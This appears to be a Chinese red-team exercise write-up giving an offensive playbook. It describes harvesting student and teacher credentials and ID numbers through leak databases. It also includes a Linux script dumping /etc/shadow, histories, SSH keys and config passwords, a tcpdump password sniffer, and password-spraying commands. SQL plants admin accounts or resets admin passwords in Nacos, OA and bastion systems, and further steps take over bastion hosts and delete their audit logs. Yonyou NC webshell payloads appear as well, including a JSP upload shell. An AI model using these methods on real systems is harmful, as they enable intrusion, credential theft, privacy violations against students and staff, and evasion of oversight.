信息收集:
0Day 储备:
这个就不用多说了,针对各行各业的一些通用系统进行收集挖掘0day,做好指纹探测(提取0day特征先探测是否存在漏洞或是否影响,避免蜜罐捕获),不管是rce
还是各种低危漏洞在关键时刻打组合拳都能起到奇效。
源码收集方式及相关技巧可以参考:
-
获取目标站源代码的几种方法讨论:https://forum.ywhack.com/thread-201972-1-1.html -
源码下载之OSS辅助:https://forum.ywhack.com/viewthread.php?tid=200961 -
https://forum.ywhack.com/thread-202745-1-1.html
行业相关:
针对一些行业的或者不太好打的目标可以试试:
-
小程序/APP反编译提取各种IP、URL、接口等等; -
Github/Gitlab、云盘等公开渠道搜集信息,代码、公司资料信息等等; -
TG/SGK 搜索引擎获取邮箱,手机号等等; -
供应商,二三级单位,控股子公司等等; -
通用系统特征提取-拖源码-挖漏洞三部曲; -
大多数目标都是通过这种方式拿的代码直接搞目标。 -
C 段攻击,通过hunter或者fofa提取目标相关资产,计算哪些IP段资产较多:
import sys
from collections import defaultdict
from ipaddress import ip_network, ip_address
from prettytable import PrettyTable
def get_c_network(ip):
network = ip_network(ip)
network = ip_network(f"{network.network_address}/24", strict=False)
return str(network)
def main():
if len(sys.argv) != 2:
print("Usage: python3 ip.py <file>")
return
filename = sys.argv[1]
ip_dict = defaultdict(set)
with open(filename, "r") as file:
for line in file:
ip = line.strip()
c_network = get_c_network(ip)
ip_dict[c_network].add(ip)
sorted_ip_dict = dict(sorted(ip_dict.items(), key=lambda item: len(item[1]), reverse=True))
table = PrettyTable(['IP段', 'IP数量'])
table.align = 'l'
table.align['IP数量'] = 'r'
for k, v in sorted_ip_dict.items():
ip_count = len(v)
row_color = lambda text: f"33[91m{text}33[0m" if ip_count >= 5 else text
table.add_row([row_color(k), row_color(ip_count)])
print(table)
if __name__ == "__main__":
main()
学校EDU:
阶段一:学生账号获取
针对各种高校或者学校的收集,比如咸鱼租VPN账号,各种交友平台获取学号、上网账号等等,比如公开的信息,奖学金,获奖记录、Github上都能存在一些学生信息,学号之类的,一般密码都是身份证后六位或者一些较为简单点通用型密码,也可以在一些平台翻一下文件,比如新生入学文件,查看密码策略。
利用收集到的信息登录学校的一些系统找找能 shell 的点获取权限就比较简单了。
阶段二:其他师生账号获取
通过搜集到的学号和密码,尝试登录一些系统,如果有单点登录的话那更好。
一般职工或教师权限比较高访问的系统也比较多,找能 shell 的系统也比较轻松:
除此之外还可以登录一些系统做一些简单的测试,流量过一过burp,可以找到一些学号或者是身份证获取接口。
其他学生学号的获取一般来说可以在这些系统可能会找到,比如一些班级群组列表。
阶段三:教师账号获取
1.通过学生登录到的系统,看看能不能先获取到教师的工号。如果能获取工号,再尝试获取手机号,如果系统没办法直接拿到教师的身份证,那就通过手机号过一下社工库找身份证
2.通过系统的漏洞挖掘找到泄漏点,翻文件或者是翻照片
3.如果有一个老师的账号,尝试登录一些系统(比如某oa的通告文件,搜索一下)翻一下其他系统的密码策略,如果是有单点登录,查看点单登录的密码策略。
单点登录密码策略
可以看到账号策略为m+工号,密码为工号
进入系统可以看到当前用户身份证信息,结合之前的步骤,就可以获取任意教师的身份证
其他:
当然除了 Web 以及常规的代码审计外,针对一些高危端口的探测也是非常有必要的,比如Docker、Java RMI、elasticsearch、数据库等等端口,一些端口可能不在默认端口,可配合云函数或 masscan 等高效工具进行扫描:
ES 数据库未授权查看搜索:
_cat/indices?v
_search/?&pretty&size=100&q=password
_cat/indices?v&s=docs.count:desc
相关工具:
-
woodpecker-framework 一款漏洞精准检测深度利用框架
内网相关:
Host头碰撞:
内网中的 host 头碰撞在寻找靶标或者重要的系统是非常方便的,本次比赛中利用 host 碰撞拿了几个靶标
一些 Github 上的 Host 头碰撞工具:
-
https://github.com/cyal1/host_scan -
https://github.com/fofapro/Hosts_scan
基础设施免杀:
免杀就不多说了,各种语言的 Webshell 、隧道等等。
CS 马以及各种工具免杀、去特征..没有免杀能力的可以找找 Github 一些开源免杀工具,偶尔可以过一些杀软,比如火绒等..
哥斯拉上帝模式、天蝎等 Webshell 可过一些拦截;
内存加载 shellcode 执行.分离加载等等.
远程 oss 加载...
其他:
二开 fscan 集成更多功能(GSCAN):
-
探测到 Nacos 后一键导出配置 gscan -m nacos -e export
,插入 NacOS密码
INSERT INTO users ( username, PASSWORD, enabled )
VALUES
( 'nacos1', '$2a$10$SmtL5C6Gp2sLjBrhrx1vj.dJAbJLa4FiJYZsBb921/wfvKAmxKWyu', TRUE );
INSERT INTO roles ( username, role )
VALUES
( 'nacos1', 'ROLE_ADMIN' );
//密码123
-
Host 头碰撞 gscan -m host -df domain.txt -i xx.xx.xx.xx
-
简单的资产处理后输出 result.txt && vuln.txt
-
提取 +[ssh] +[redis] +[rdp] +[MS17010]等等可利用的漏洞信息 -
IP/c_network/统计等... -
读取 IP:PORT 格式探测漏洞、Web 服务等; -
更多一键化的操作功能 - -
信息收集:
内网中的信息收集可以说是非常重要的,多网卡机器,各种配置文件,密码本,VPN,网络结构,集权设备等等... 过程需要有耐心,多翻翻多找找..多看看系统各种日志啥的:
echo "信息收集"
echo "账户信息收集 /etc/passwd" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat /etc/passwd | tee -a $filename
echo -e "n" | tee -a $filename
echo "/etc/shadow 影子文件查看" | tee -a $filename
cat /etc/shadow | tee -a $filename
echo -e "n" | tee -a $filename
echo "进程信息收集" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
ps aux | tee -a $filename
echo -e "n" | tee -a $filename
echo "网络连接" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
netstat -antlp | tee -a $filename
echo -e "n" | tee -a $filename
echo "当前用户:" $(whoami) 2>/dev/null | tee -a $filename
echo -e "--------------------------" | tee -a $filename
echo -e "n" | tee -a $filename
echo "端口监听" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
netstat -lnpt | tee -a $filename
echo -e "n" | tee -a $filename
echo "可登陆用户" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat /etc/passwd | grep -E -v 'sync$|halt$|nologin$|false|shutdown' | tee -a $filename
echo -e "n" | tee -a $filename
echo "增加用户的日志" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
grep "useradd" /var/log/secure | tee -a $filename
echo -e "n" | tee -a $filename
echo "History操作提取" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat ~/.*history | tee -a $filename
echo -e "n" | tee -a $filename
echo "登录成功的IP,用户名,时间" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}' | sort | uniq -c | sort -nr | more | tee -a $filename
echo -e "n" | tee -a $filename
echo "查看路由表" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
route -n | tee -a $filename
echo -e "n" | tee -a $filename
echo "查看 SSH key" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
sshkey=${HOME}/.ssh/authorized_keys
if [ -e "${sshkey}" ]; then
cat ${sshkey} | tee -a $filename
else
echo -e "SSH key文件不存在n" | tee -a $filename
fi
echo -e "n" | tee -a $filename
echo "查看 known_hosts" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat ~/.ssh/known_hosts | tee -a $filename
echo -e "n" | tee -a $filename
echo "查看 bash_history" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat ~/.bash_history | tee -a $filename
echo -e "n" | tee -a $filename
echo "查看 mysql_history" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat ~/.mysql_history | tee -a $filename
echo -e "n" | tee -a $filename
echo "查找WEB-INF" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
find / -name *.properties 2>/dev/null | grep WEB-INF | tee -a $filename
echo -e "n" | tee -a $filename
echo "user|pass|pwd|uname|login|db_" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
find / -name "*.properties" | xargs egrep -i "user|pass|pwd|uname|login|db_" | tee -a $filename
echo -e "n" | tee -a $filename
echo "jdbc:|pass=|passwd=" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
find / -regex ".*.properties|.*.conf|.*.config|.*.sh" | xargs grep -E "=jdbc:|pass=|passwd=" | tee -a $filename
echo -e "n" | tee -a $filename
echo "配置文件" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
find / -regex ".*.xml|.*.properties|.*.conf|.*.config|.*.jsp" | xargs grep -E "setCipherKey" | tee -a $filename
echo "敏感信息" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
find / -regex ".*.properties|.*.conf|.*.config|.*.sh|.*.jsp|.*.log|.*.txt|.*.xml" | xargs grep -E "=jdbc:|pass=|passwd=|aliyun|password" | tee -a $filename
# Author cances
echo "ip和网卡信息" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
ip a | awk '{print $2,$4}' | tee -a $filename
echo -e "n" | tee -a $filename
echo "用户登陆日志" | tee -a $filename
lastlog | tee -a $filename
echo -e "n" | tee -a $filename
echo "查看 hosts" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat /etc/hosts | tee -a $filename
echo -e "n" | tee -a $filename
echo "查看 系统版本" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat /etc/*-release | tee -a $filename
echo -e "n" | tee -a $filename
echo "查看 内核版本" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
uname -mrs | tee -a $filename
echo -e "n" | tee -a $filename
echo "查看 yum" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat /etc/yum.conf | tee -a $filename
echo -e "n" | tee -a $filename
echo "提取登录的IP" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more | tee -a $filename
内网中的密码复用特别常见,或规律性密码,比如 password@2019password@2020password@2021
等等..按照规律生成字典.
tcpdump 抓密码:
tcpdump -i any -s 0 -A -n -l |egrep -i "Host:|Authorization:|password:|password=" >/tmp/password
其他收集的各种配置文件密码都可以做成字典内网中碰撞:
find / -regex ".*.properties|.*.conf|.*.config|.*.sh|.*.jsp|.*.log|.*.txt|.*.xml" | xargs grep -E "=jdbc:|pass=|passwd=|aliyun|password"
-
cmdkey -
各种配置文件密码 -
mimikatz -
密码本等等... -
各种 hash session 文件等;
参考:https://forum.ywhack.com/rdexploit.php
宝塔:
默认入口:/www/server/panel/data/admin_path.pl
默认密码:/www/server/panel/default.pl
默认账号:python /www/server/panel/tools.py username
账号数据库:/www/server/panel/data/default.db
public.password_salt:/www/server/panel/class/public.py
参考:棱角社区-内网常见 SSH 工具/常见软件密码存储位置及解密方法
共享文件:
在 Windows 中可以丢个共享目录探测,有时候能获取不少好东西:
密码碰撞:
内网中的密码碰撞是刷分的常规操作了,不多说。
前期通过 Web 打点或者在各种系统/服务器中mimikatz抓的、翻到的密码及时整理出密码本,内网中 3389、redis、22、3306等各种需要密码操作的高危端口都可以碰撞一下:
./gscan -h xxx.xxx.xxx.xxx/24 -p 3389 -user administrator -pwdf pass.txt
./gscan -h xxx.xxx.xxx.xxx/24 -p 22,3306 -user root -pwdf pass.txt
./gscan -h xxx.xxx.xxx.xxx/24 -m web -nopoc -nobr
....
如果在 Windows 且没有各种杀软和 edr 设备的情况下直接上超级弱口令等等猛扫,见效快,缺点就是动静比较大,容易被发现。
K8S 集群:
内网中如果能碰到Kubernetes
一些集群且存在一些配置问题或漏洞的话直接接管所有容器,内网中的刷分利器。
一些优秀的工具和 k8s 渗透文章可以直接看下面:
一些工具:
-
https://github.com/etcd-io/etcd/releases -
https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-macos/ -
https://github.com/cdk-team/CDK
一些文章:
-
Kubernetes安全测试实践录 -
Kubernetes(K8s)横向移动办法 -
K8S云原生环境渗透学习 -
红蓝对抗中的云原生漏洞挖掘及利用实录 -
火线云安全知识库 -
K8S后渗透横向节点与持久化隐蔽方式探索
其他:
CVE-2020-29564 Consul Docker images 空密码登录漏洞:
堡垒机:
本次遇到的几个堡垒机,3个堡垒机撸穿3个靶标,直接内网刷满,简单记录一下。
齐治堡垒机可以参考:https://forum.ywhack.com/viewthread.php?tid=200841
中远麒麟:
参考社区的漏洞分析:https://forum.ywhack.com/viewthread.php?tid=202495
漏洞利用:
SQL 注入获取用户明文密码 + 后台 RCE:
接管设备:
一般跑出 admin 用户密码后登录堡垒机可能没有直接 ssh 的权限,可以通过在资源管理,用户处添加绑定用户即可获得主机的远程权限:
在编辑处-绑定用户选择已获得权限的用户即可在 console 获取该主机的登录权限:
在绑定完用户后通过 ssh -p 22 堡垒机用户权限@堡垒机IP
即可连接到堡垒机控制台,输入序号选择接管的主机:
Windows 同理,直接 rdp 3389 堡垒机 IP 即可,用户为堡垒机管理员用户或者获得权限的用户+密码:
日志清理:
以上通过堡垒机进行操作的过程都会被记录在操作审计中,如果有敏感操作可以通过如下方式进行清理:
首先需要获取 audit 审计用户权限,在日志删除处选择日期范围内的操作日志删除即可
优炫运维管理系统:
指纹识别:
oem 的设备:
body="/fort/login/checkCkeydyncCode.action"
Web 接管设备:
这套堡垒机与其他堡垒机不太一样,直接在 Web 系统内就可以利用保存账号密码单点登录进行接管,前提是需要安装系统自带的系统控件,且只能是 Windows:
Linux 设备需要安装 SecurityCRT
或者 XShell
,Windows 直接调用的本地 mstsc,安装好控件找到单点登录中能自动登录的系统直接连就行:
自动登录会自动连接堡垒机的 IP 3389 到内网:
操作记录在堡垒机审计可以查看,直接mimikatz
抓密码 3389 登录就不会有记录,或ntlm hash
操作也不会有记录.
另外如半自动登录或手动登录的需要输入密码,数据库内或堡垒机权限内有历史的连接的 session 应该可以找点东西..时间关系待研究。
配置文件+利用:
/usr/local/tomcat6/webapps/fort/
/usr/local/tomcat6/webapps/ROOT/ //网站根目录
/usr/local/tomcat7/webapps/scan/WEB-INF/classes/prop/jdbc.properties //数据库配置文件
用户名固定 fort ,密码随机。数据库名fort
用户表employee
:
密码为 MD5 解密,不知道密码直接替换即可:
UPDATE `fort`.`employee` SET password = 'd5df2f626318151ce0d30926e20e3ca9' WHERE id = 23;
//密码 admin@123456
PIDSEC 帕拉迪:
指纹识别:
app="帕拉迪Core4A-UTM"
界面如下:
设备接管:
与麒麟堡垒机类似的操作,需要先分配用户权限:
分配好权限后通过 ssh 或者 rdp 远程到堡垒机的 IP 接管设备。
配置文件:
因目标应急关了堡垒机 - - 截图丢了,下次遇到了再补上。
通过堡垒机登录后可以尽快找一台出网的机器做好权限维持,避免因堡垒机挂了或者被应急关了导致权限丢失。
用友 NC:
用友nc默认数据库配置文件路径:
/home/NC65/ierp/bin/prop.xml
/ierp/sf/superadmin.xml
/ierp/sf/account.xml
/ierp/bin/prop.xml
shell:
Linux:
pwd 找路径
echo getshell:
"echo d2Vic2hlbGwgeHh4eHh4eHh4eHh4eHh4eA== | base64 -d > /ncapp/NC65/webapps/nc_web/update1.jsp"
Windows:
u0065u0078u0065u0063("cmd /c echo d2Vic2hlbGwgeHh4eHh4eHh4eHh4eHh4eA== > hotwebs\uapws\config.txt");
解码:
u0065u0078u0065u0063("cmd /c certutil -decode hotwebs\uapws\config.txt hotwebs\uapws\config.jsp");
//该工具会转义,dir时需要4个斜杠
java -jar nc6.5.jar http://x/ "echo ^<^%@page import=\"java.io.*\"^%^>^<^%if(request.getParameter(\"f\")!=null){FileOutputStream os=new FileOutputStream(application.getRealPath(\"/\")+request.getParameter(\"f\"));InputStream is=request.getInputStream();byte[] b=new byte[512];int n;while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();}^%^> > E:\\nc63_0630\\webapps\\nc_web\\zz.jsp"
在线 Win 转义:https://forum.ywhack.com/escape.php
其它:
有时候碰到负载均衡 Shell 时请求没办法写入全部后端的时候,偶尔写入只能写入部分或报错的情况,这个时候可以通过查看 Nginx 配置文件 upstream
指令是否存在一个群组只有一台后端 Server 的情况,找到路径写入就避免了负载均衡请求都需要等的情况了,比如这个:
通过找到PeBwH
的 Web 路径直接写入就避免了多台后端 Server 的情况。
蓝凌(Landray) OA :
参考文章:
-
蓝凌(Landray) OA 协同办公系统后利用过程
在线解密可以参考:https://forum.ywhack.com/decrypt.php
泛微 OA:
配置文件:
D:WeaverecologyWEB-INFpropweaver.properties
Linux:
直接 find grep 即可
用户表&管理表:
SELECT TOP 10 * FROM [ecology].dbo.[HrmResource]
泛微的 sysadmin 管理员用户保存的表为:HrmResourceManager
SELECT TOP 10 * FROM [ecology].dbo.[HrmResourceManager]
//替换密码:
C4CA4238A0B923820DCC509A6F75849B = 1
UPDATE ecology.dbo.HrmResourceManager SET password = 'C4CA4238A0B923820DCC509A6F75849B';
万户 OA
万户 OA 的数据库配置文件地址为:
/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/classes/fc.properties
jboss 特性会将 war 包直接当做文件夹,所以可以直接读取下面的配置文件 - -
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论